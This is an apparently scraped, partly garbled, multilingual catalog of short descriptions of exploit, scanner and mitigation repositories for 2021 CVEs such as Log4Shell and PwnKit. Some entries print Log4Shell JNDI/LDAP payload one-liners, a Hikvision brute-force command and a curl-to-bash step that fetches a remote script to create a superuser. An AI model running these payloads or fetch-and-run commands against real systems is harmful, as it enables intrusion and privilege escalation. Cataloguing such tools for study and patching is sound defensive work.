Log4Shell-Payloads

🚨 Log4Shell ペイロードコレクション 厳選された Log4Shell / Log4J エクスプロイトペイロード のリスト。対象： CVE-2021-45046 CVE-2022-42889 🔗 作成者: @nav1n0x 🔥 ワンライナーペイロード ✅ ワンライナー1bash cat vulnerable-hosts.txt | sed 's/https?:////' | xargs -I echo '/$jndi:ldap://.L4J.quua8mp7vfexh3a3qkf1sggj9.canarytokens.com/a' L4SFuzzList httpx -l...

Log4j-CVE-2021-44228

このPythonスキャナーは、Javaインスタンス内のlog4j脆弱性を検出し、応答を返します。...

Log4j-Updater

Log4j Updater 有名なJavaフレームワークであるLog4jを更新する必要性は避けられず、多くの企業が複数のコンピュータで同時にLog4jを更新する必要に迫られており、これには時間とコストがかかります。そこで登場するのがLog4j Updater です。 log4jupdater.shは、システムで使用されるパッケージマネージャを自動的に検出し、log4jリポジトリがある場合はそれを更新して可能な限り最新バージョンをインストールし、複数のマシンでの更新プロセスを一度に自動化する ことを目的としたシンプルなbashスクリプトです。 互換性...

VMware_vCenter_UNAuthorized_RCE_CVE-2021-21972

VMwarevCenterUNAuthorizedRCECVE-2021-21972 zoomeye dork：app:"VMware vCenter" pocsuite3を使用して作成された無害な検出スクリプトVMwarevCenterUNAuthorizedRCE.pyを、約1年間のデータを使ってプローブしました： 成功率は約：1551 / 3998 = 39%...

CVE-2021-4034-PoC

このリポジトリには README がありません。...

Mitigation-Apache-CVE-2021-41773-

缓解 CVE-2021-41773 用于缓解 CVE-2021-41773 的 Shell 脚本，这是一个 Apache 中的路径遍历和文件泄露漏洞 安装 root@kitploit: wget https://github.com/EkamSinghWalia/Mitigation-CVE-2021-41773-.git 用法 完整的修复和推荐的缓解漏洞的方法 此脚本将升级和更新系统仓库和 Apache root@kitploit: bash apachefix.sh 注意 - 运行脚本时在两个弹出窗口中输入 OK 如果您不想更新和升级系统和 Apache，请使用 method2.sh...

hikvision_brute

hikvisionbrute 使用CVE-2021-36260漏洞攻击Hikvision摄像头 运行 go run src/main.go -help 获取运行参数帮助 运行示例 go run src/main.go -infile ../CVE-NEW/hikvisionlist.txt.bak -threads 300 -maxtries 3 -timeout 10 -delay 2000 -good goodout.txt -bad badout.txt -err errout.txt -unknown unknownout.txt...

CVE-2021-41773-Scanner

CVE-2021-41773 Shodan 扫描器 通过多线程 Python 脚本实现的 CVE-2021-41773 Shodan 扫描器 用法： root@kitploit: git clone https://github.com/anldori/CVE-2021-41773-Scanner cd CVE-2021-41773-Scanner/ 将你的私有 Shodan API 添加到 scan.py 中 root@kitploit: python3 scan.py...

CVE-2021-3831

PHP Exploit CVE-2021-3831 スクリプト 概要 このPHPスクリプトは、特定のMD5ハッシュを生成し、HTTPリクエストを送信して対象ウェブサイトとやり取りすることで、潜在的な脆弱性を悪用するように設計されています。教育目的を意図しており、脆弱性のテストを行う明示的な許可がある環境でのみ使用する必要があります。 特徴 動的ターゲット入力: スクリプトはコマンドライン引数としてターゲットURLを受け取り、柔軟な使用を可能にします。 安全なHTTPリクエスト: HTTPリクエストを行うためにcURLを利用し、堅牢なエラーハンドリングとセキュリティを提供します。...

CVE-2021-44228-PoC

CVE-2021-44228 PoC CVE-2021-44228 の PoC。 このプロジェクトは教育目的のみで作成されました。 エクスプロイトサーバー このプロジェクトは、http サーバーと ldap サーバーの 2 つを作成します。両方ともエクスプロイトが動作するために必要です。指定された Java ファイルがコンパイルされ、Dockerfile 内でサーバーが起動されます。ペイロードはユーザーに表示され、脆弱なアプリケーションに渡す必要があります。 ペイロードの例: root@kitploit: $jndi:ldap//127.0.0.1:1389/a 実行方法 バインドシェル...

poppy

poppy : CVE-2021-4034 CVE-2021-4034 PoC，polkit 0.131 用法 已在 Arch Linux（Manjaro 和 Axyl OS）上测试 root@kitploit: git clone https://github.com/tahaafarooq/poppy make ./poppy 创建超级用户的漏洞利用 root@kitploit: bash -c "$curl -fsSL https://raw.githubusercontent.com/tahaafarooq/poppy/main/suuser.sh" root@kitploit:...

CVE-2021-44228

Log4j 漏洞 更新于 2021年12月19日：Log4j 中不断发现新的漏洞及利用方式。我们在 git 仓库中添加了三个流程图（思维导图），分别描述 Log4j 的易受攻击版本、如何检查是否易受攻击 以及 针对不同漏洞的缓解措施。 建议 Log4j v2.x： 识别使用 Log4j 2.x 版本的软件 缓解 Log4j 中的漏洞 将使用 Log4j 的软件更新到使用 Log4j 2.17.0 的版本 如果上述操作不可行 确保已实施针对 CVE-2021-44228 和 CVE-2021-45046 的 缓解措施，请注意此时系统仍易受 DoS 攻击 如果系统特别关键，建议检查 Log4...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC 步骤 1. 编译 Log4jRCE.java 并将 .class 文件移动到 Web 服务器（例如：本地 PHP） 1. cd src/main/java 2. javac Log4jRCE.java 3. 将 .class 文件移动到 Web 服务器或本地启动一个 PHP，例如：php -S 127.0.0.1:8888 2. 启动 LDAP 服务器 1. git clone [email protected]:Grupo-Kapa-7/marshalsec.git 2. cd marshalsec 3...

overlayFS-CVE-2021-3493

overlayFS CVE-2021-3493 OverlayFs OverlayFS は、Linux カーネルのモジュールであり、システムが複数のマウントポイントを1つに統合し、各ファイルシステムのすべてのファイルに単一のディレクトリ構造内でアクセスできるようにします。 脆弱性について 最近、SSD-Disclosure が Ubuntu カーネル用のエクスプロイトの PoC を公開しました リンク。 この脆弱性は非常に深刻であり、OverlayFS は Ubuntu 1804 Server にデフォルトでインストールされていました。 該当システムが脆弱な場合、簡単に root...

CVE-2021-3129

Este repositorio no tiene un README...

GrafanaDirectoryScanner

PoC para CVE-2021-43798 Grafana es una plataforma de código abierto para monitoreo y observabilidad. Las versiones de Grafana desde 8.0.0-beta1 hasta 8.3.0 excepto las versiones parcheadas son vulnerables a ldirectory traversal, permitiendo el acceso a archivos locales. La URL vulnerable es:...

Laravel-8.4.2-rce-CVE-2021-3129

Laravel-8.4.2-rce-CVE-2021-3129 root@kitploit: exploit.py tested use python3,and only working with phpggc . first docker-compose up port on 8888 at 127.0.0.1 generate key first...

CVE-2021-24096

CVE-2021-24096...

PwnKit-CVE-2021-4034

Pwnkit Exploit Instructions I did not write this. This is only to document my exection/instruction of exploit use as there are some very intricate and complicated steps to follow. Files come from the following source:...

log4j-scanner

log4j-scanner CVE-2021-44228 の脆弱性を確認します このテストは100%信頼できるわけではありませんが、迅速なスキャンに役立ちます 使い方: root@kitploit: wget https://raw.githubusercontent.com/codiobert/log4j-scanner/main/log4j-scanner.sh -q -O - |bash...